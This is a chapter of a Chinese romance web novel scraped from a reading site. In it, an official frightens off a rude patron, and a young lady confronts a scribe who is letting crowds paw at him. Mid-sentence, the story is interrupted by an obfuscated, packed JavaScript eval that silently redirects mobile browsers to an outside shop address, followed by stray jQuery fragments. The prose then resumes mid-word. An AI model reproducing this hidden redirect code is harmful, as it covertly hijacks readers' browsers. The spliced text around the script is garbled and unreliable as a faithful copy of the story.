文趣网 > 其他小说 > 天上掉下个林妹妹 > 29. 呼啸金庄(下)
    只听门外许久只传来窸窸窣窣的动静,间杂女子细语与男人挑逗。像是刻意压低,却又故意让严梅二人听见。

    也太旁若无人了些。严??重重咳了声:“若钱公子有要紧事,不如先回去罢?”

    他话说得委婉,外面动静终于停歇,又传来钱允礼的咆哮:“话本的事还没给个交代,走什么走?”

    梅宁对着严??使眼色,后者问:“钱公子想要什么交代?”

    “市面上流通的话本全部收回,再将钱悉数退还予我,跪下来磕头道歉,我就勉强原谅你了。”

    听到这番得寸进尺的话,梅宁头差点气炸,憋红了脸,心说这人真是既要又要,出银子写话本的规矩,百书楼写得清清楚楚、明明白白——

    世无后悔药,三思而后行;若有不满,寻老板议,切勿兹事,惊扰作者。

    他这何止是惊扰她?简直是将自己当狗一般耍。

    严??却面无异色,反而噙了个意料之中的笑,竟不顾梅宁劝阻,推门露出了他的脸。

    晴朗夏日,百书楼廊间未点灯,尽头的雕花格窗遮得严实,透不出一点光。

    钱允礼身处其中,眼睛尤可视物,直到面前紧闭的褐木门露出条细缝,日光争先恐后地跑出来透气,尘雾飞扬,他才觉刺目,眼睛眯起。

    他目光下移,率先入目的是祥云乌皮六合靴,周身一振,微抬眼皮,那人腰上所坠青玉蟠龙戏宝佩就强势扎进了自己的眼。

    他已经吓得不敢动了,却还是硬着头皮,强迫自己抬头,对上了严??一双似笑非笑的眼,他还未开口,气势就已将钱允礼压到了地底。

    丁君,怎么会是刚来的巡抚?

    严??薄唇微启,像是问询,却裹满轻蔑:“你是要让本官跪下道歉?”

    “不、不,大人、大人听错了。”

    钱允礼双腿一软,竟径直跪了下来,月琴颜玉虽不明白怎么回事,但极有眼力见地跟着跪下,低着头,连余光都不敢留。

    只站得远些的阿具没有跪下,胆子颇大,似乎在发呆。

    一个下人,严??未放心上,仍好整以暇地问抖如筛糠的钱允礼:“那那银子还有话本——”

    “大人别放心上,只管我喝醉了酒,胡言乱语就可。”没等严??说完,钱允礼就急着认错。

    严??哼一声:“喝醉了酒,还敢在本官面前晃?”

    说罢,钱允礼立即起身,像是身后有什么洪水猛兽,仪容都来不及整理,待说着:“大人说的是,我立刻滚。”便飞也似的逃走。

    “少爷,等等奴家!”

    对着严??福了福身,两丫鬟不敢逗留,亦跑得比兔子还快,去追钱允礼与阿具了。

    突如其来的变故,惊得梅宁瞠目结舌:“你、你给他灌迷魂汤了?”

    “什么迷魂汤。本官好歹是朝廷钦点的县令,他惧我有何奇怪?”严??关上门合起的折扇敲她额头:“帮了你,还不快道谢?”

    “谢谢大人!”梅宁笑得像个狗腿子:“不过他不会将丁君是您的消息传出去吧?”

    “不怕被我抓,他就试试吧。”严??勾唇一笑:“一码归一码,这话本,你的确不该再写。”

    梅宁一张脸瞬间垮了下来:“那钱允礼都说没关系了!”

    “他咎由自取,谁管他?本官担心的是那被无故牵扯进来的徐茗。若本官没猜错,他现在,怕是已焦头烂额。”

    严??猜对了一半。

    徐茗来值班的锦安书斋,已被闻风而来的姑娘们围了个水泄不通。

    老板从未见自己小小书斋有过此等盛况,不得不贴处张告示——唯买书才得入内。

    虽店内少了不少人,但仍是摩肩接踵,周转不开,不想花钱的姑娘更是聚在街上,只为一睹徐茗真容。

    紧紧与小姐拥在一起,梨花才未被人流冲散,她凑在小姐耳边,才能让她听见自己说的话:“小姐,我们过来干什么呀。”

    林卿雎戴着帏帽,恨恨道:“你个笨蛋,徐先生刚从钱允礼手底下救下你,就被如此编排。他作为林家人和你的救命恩人,我当然要来帮他!”

    梨花大吃一惊:“小姐的意思是钱允礼故意造谣?伤敌一千自损八百?”

    “钱允礼那个蠢货自然干的出来这种事!”林卿雎戳戳梨花不开窍的小脑瓜,不由分说拉着她去排队,锦安书斋人实在太多,只能排队才能进去。

    似乎有许多人找徐茗写信,林卿雎初时排得太后,只能看见他的发顶,直到靠得近了,才瞅见他的脸。

    她大喜,拍拍梨花踮起脚和她一起看,却见站于徐茗面前的女子,竟胆大包天伸手去撩他的下巴,徐茗只僵了一瞬,却未躲开,反而言笑自若,不知与那姑娘说些什么。

    林卿雎心中大骇,他怎么还能笑得出来?还让其他姑娘吃他豆腐!

    有这女子示范在前,之后的姑娘都蠢蠢欲动,见徐茗不反抗,均对他上下其手。林卿雎越看,唇抿得越平。

    感受到小姐情绪越发低迷,梨花轻声问:“小姐,你不高兴?”

    “嗯……”

    林卿雎低迷地应一声,沉吟半天,忍不住嘟囔:“那些人怎么这样?也太过无礼。还有徐茗,不仅一点没有不高兴,还与她们相谈甚欢,脑子坏了不成?”

    她咬牙握了握拳:“他这样,哪值得我帮他!”

    梨花抚着小姐的背:“不配不不配!我们快回去,别再看徐先生窝窝囊囊!”

    “不行!再、再看看,我再给他一次机会……而且都排到这了,我好歹也要进书斋挑几本书再走!”

    秉承着“来都来了”的宗旨,林卿雎继续按捺心中渐渐升腾起的怒火,嘴上说着要挑书,实则眼睛黏在徐茗身上。

    但在眼睁睁看到一姑娘扯乱徐茗衣服时,她到底爆发了。

    林卿雎气得要死,一个箭步向前,梨花拉都拉不住,就已见小姐把那姑娘拱到一边。

    抬眼望那戴着帏帽的女子,徐茗怔愣片刻,下意识将自己凌乱的衣裳理好,一时沉默,没有说话。

    那被林卿雎拱去一旁的姑娘发了火:“你谁啊?想插队不成?”

    林卿雎不废话,掷出满满一袋银子,豪气地扔于案上,发出“哐当”一声响:“老板在哪?快出来,本姑娘要将这书斋包下!”

    书斋老板闻声而来,全身早已因忙碌被汗水浸湿,腰间赘肉随着他跑动左右晃动,林卿雎皱眉,让他停在离自己三米远的地方。

    “这位小姐,您也看到了,如今书斋人实在多,不能满足您的要求呀。”

    “哦,原来是书

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614269|206038||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    斋呀,不知道的,还以为这是什么不正经的地方呢。来一个人就对这位先生动手动脚,他是代写信的还是卖身的?”

    “是徐先生说付钱就行,关你什么事?”那姑娘整好衣裳,涨红了脸,指责林卿雎多管闲事,后面的人也纷纷附和,斥她赶快离开。

    帏帽下,她一张脸黑如锅底,倒不是因为那些个咄咄逼人的女子,而是因为出卖色相赚钱的徐茗——他穷疯了不成?

    “那我就拿这银子把他给包了!行不行?”

    千金一掷、博美人一笑的风流韵事常有,美人豪掷千金、买断书生的景象却百年难得一见。

    一时间,众人缄默,不再言语。

    “这个,小姐,我说了也不算呀。”书斋老板一脸为难,登时所有人都看向被争来抢去的烫手货徐茗,只见他盯着那银子许久,才绽出个笑,对着林卿雎说:“姑娘,要包下我,这银子多了。”

    ……

    唯一的奔头已被人买下,小小的书斋便再无可留恋之处,来寻热闹的人瞬间走了个干净,连街上都变得寥寥无人。

    “姑娘,老板也已离开,店内剩你我二人,你有什么想做的事,就快做了吧。”

    见徐茗一副好像无论自己想干什么,都任她采撷的模样,林卿雎更觉他有当男倌的潜质,浑身起了鸡皮疙瘩:“我只是想买几本书,你可不要想歪!”

    徐茗“扑哧”一笑,似是极为开怀,一张本就好看的脸又鲜活了不少:“我就知道小姐会这么说。”

    林卿雎顿时炸了毛,为了防止被他发现,自己改了声线,还让梨花候在外面,他是怎么发现是自己的?

    说起来,上回假扮新娘,他也认出了自己……

    抿着唇,林卿雎极不情愿地摘下了帏帽:“你怎知是我?”

    “第一次没认出小姐,你不是发了好大声一通火吗?于是小人自然再不敢识错。”徐茗竖起一根食指,抵在唇边,闭起一只眼,故作神秘,狡黠一笑:“不过怎么认出来的,是小人的秘密。”

    “故弄玄虚。”林卿雎撇过脸,见徐茗已将她的银子收入囊中,伸手就要取回:“把钱还我。”

    “这不是我的卖身钱吗?”徐茗歪头,手中钱袋已被林卿雎轻而易举夺去。

    “我呸,你是奴隶还是男倌,哪来的卖身契?”

    林卿雎恨恨道:“作践自己,一点也不好笑!”

    徐茗眸光闪一闪,无奈苦笑,又装作一副无所谓的模样:“如今我名声已坏成那样,还能怎么办?不如趁此多赚些银子,不过被摸几下而已——”

    “什么叫就被摸几下?”林卿雎反应奇大,叉腰将书桌拍得震天响,连砚中墨都抖出来几滴朝她身上落去,幸而被徐茗眼疾手快挡住。

    “被造谣,你该辟谣,你该找到造谣之人!就算什么也不做,也比你现在自暴自弃默认的好!”

    林卿雎慷慨陈词,倒真叫徐茗平添几抹难堪与羞愧。

    但他却失落:“小人人微言轻,谁会信我?”

    况他曾经、据理力争过的。

    徐茗陷入那段叫人难以启齿的回忆里,不妨被眼前人扯住衣领,被迫与林卿雎直视。

    姑娘眼中燃着恨铁不成钢的火,骂道:“你以为我来这做什么?看你笑话?自然是因为我信你!”